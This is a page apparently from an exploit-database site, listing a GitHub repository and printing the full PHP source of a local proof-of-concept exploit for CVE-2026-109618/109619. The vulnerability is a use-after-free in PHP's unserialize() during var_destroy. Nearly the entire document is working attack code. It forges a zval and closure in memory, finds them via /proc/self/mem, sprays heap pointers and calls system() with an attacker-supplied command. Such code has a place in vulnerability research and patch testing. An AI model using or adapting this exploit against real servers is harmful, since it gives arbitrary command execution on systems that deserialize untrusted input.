Exploit databaseDownload repository ZIP
GH-48c367dbdf608f5281504c9e5aefb07f
xuehuolll/php2shell-cve-2026-109618-109619
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
xuehuolll/php2shell-cve-2026-109618-109619Revision f56330c49778
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/var_destroy_uaf_rce.php
PHP · 4,343 bytes<?php
/**
* CVE-2026-109618 / CVE-2026-109619 — var_destroy __destruct reentrancy UAF -> RCE (local PoC).
*
* Bug research: Calif.io (MAD bugs), dinosn, ikow (ASAN receipts).
* RCE implementation in this file is ours; see CREDITS.md.
*
* Target must call unserialize() on attacker-controlled data and provide a class with
* __destruct() (the trigger class below stands in for a real gadget).
*
* - var_destroy() frees the back-reference extension chunks before walking the dtor chain;
* - the dtor walk's i_zval_ptr_dtor() runs without BG(serialize_lock), so __destruct can
* re-enter unserialize() and the inner R:N reads the freed chunk;
* - self-locating: marker + magic + fake zend_closure is found via /proc/self/mem, and a
* pointer spray of 8000..8200-byte strings reclaims the freed var_entries block;
* - R:1500 -> fake zval (IS_OBJECT) -> fake closure -> zif_system(cmd).
*
* Tested: PHP 8.5.4 (Ubuntu 24.04 arm64, built from source; CLI and mod_php).
* Usage: php var_destroy_uaf_rce.php "id > /tmp/proof"
*/
function w64(string &$s,int $o,int $v): void { for($i=0;$i<8;$i++) $s[$o+$i]=chr(($v>>(8*$i))&0xff); }
function w32(string &$s,int $o,int $v): void { for($i=0;$i<4;$i++) $s[$o+$i]=chr(($v>>(8*$i))&0xff); }
function find_bin(): int {
foreach (explode("\n",file_get_contents('/proc/self/maps')) as $l)
if (strpos($l,'/sapi/cli/php')!==false && strpos($l,'r-xp')!==false) return hexdec(explode('-',$l)[0]);
return 0;
}
function find_buf(string $m,string $magic): int {
$fp=@fopen('/proc/self/mem','rb'); if(!$fp) return 0;
foreach (explode("\n",file_get_contents('/proc/self/maps')) as $l) {
if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+rw-p/',$l,$mm)) continue;
$s=hexdec($mm[1]); $e=hexdec($mm[2]);
if ($e-$s>64*1024*1024||$e-$s<64) continue;
for ($off=$s; $off<$e; ) {
$n=min(1048576,$e-$off); fseek($fp,$off); $c=@fread($fp,$n);
if ($c===false||strlen($c)<strlen($m)) break;
$p=0;
while (($p=strpos($c,$m,$p))!==false) {
fseek($fp,$off+$p+strlen($m)); if (@fread($fp,strlen($magic))===$magic) { fclose($fp); return $off+$p; }
$p++;
}
$off+=strlen($c)-strlen($m)+1;
}
}
fclose($fp); return 0;
}
class P {
public static string $buf=''; public static int $zv=0;
public function __destruct() {
$bin=find_bin();
$zif=$bin+hexdec(getenv('PHP_UAF_ZIF')?:'3890a0');
$cec=$bin+hexdec(getenv('PHP_UAF_CE')?:'a272b8');
$hdl=$bin+hexdec(getenv('PHP_UAF_HANDLERS')?:'a272c0');
$marker="RPT".bin2hex(random_bytes(16)); $magic=pack('P',0x1122334455667788);
$buf=$marker.$magic;
$buf.=str_repeat("\0",260); // padding for fake zval/obj
$obj_off=strlen($marker)+strlen($magic)+16; // fake obj after fake zval
// fake zval at marker+magic (16 bytes): value patched later, type IS_OBJECT
// fake closure object at obj_off
$o=$obj_off;
w32($buf,$o,1); w32($buf,$o+4,8);
w64($buf,$o+16,$cec); w64($buf,$o+24,$hdl);
w32($buf,$o+0x38,1); w32($buf,$o+0x38+4,0);
w32($buf,$o+0x38+32,1); w32($buf,$o+0x38+36,1);
w64($buf,$o+0x90,$zif);
self::$buf=$buf; unset($buf);
$base=find_buf($marker,$magic);
if(!$base){ fwrite(STDERR,"[!] buf not found\n"); return; }
$zv=$base+strlen($marker)+strlen($magic);
$obj=$zv+16;
$g = &self::$buf;
w64($g,strlen($marker)+strlen($magic),$obj); // zval.value -> obj
w32($g,strlen($marker)+strlen($magic)+8,8); // zval.type IS_OBJECT
unset($g); self::$zv=$zv;
$cmd=$GLOBALS['argv'][1] ?? 'id';
$aq=pack('P',$zv);
$spray=[]; for($len=8000;$len<=8200;$len+=8){ $body=str_repeat($aq,intdiv($len,8)); for($k=0;$k<32;$k++){ $spray[]=$body; } }
fwrite(STDERR,sprintf("[ptr] buf=0x%x zv=0x%x obj=0x%x\n",$base,$zv,$obj));
$r=@unserialize('R:1500;');
if(is_object($r)){ @$r($cmd); fwrite(STDERR,"[ptr] call ok\n"); }
else fwrite(STDERR,"[ptr] ret=".gettype($r)."\n");
}
}
$N=2000; $p='a:'.($N+2).':{';
for($i=0;$i<$N;$i++) $p.="i:$i;i:$i;";
$p.='i:99999;O:1:"P":0:{}';
$p.='i:99999;i:42;';
$p.='}';
@unserialize($p);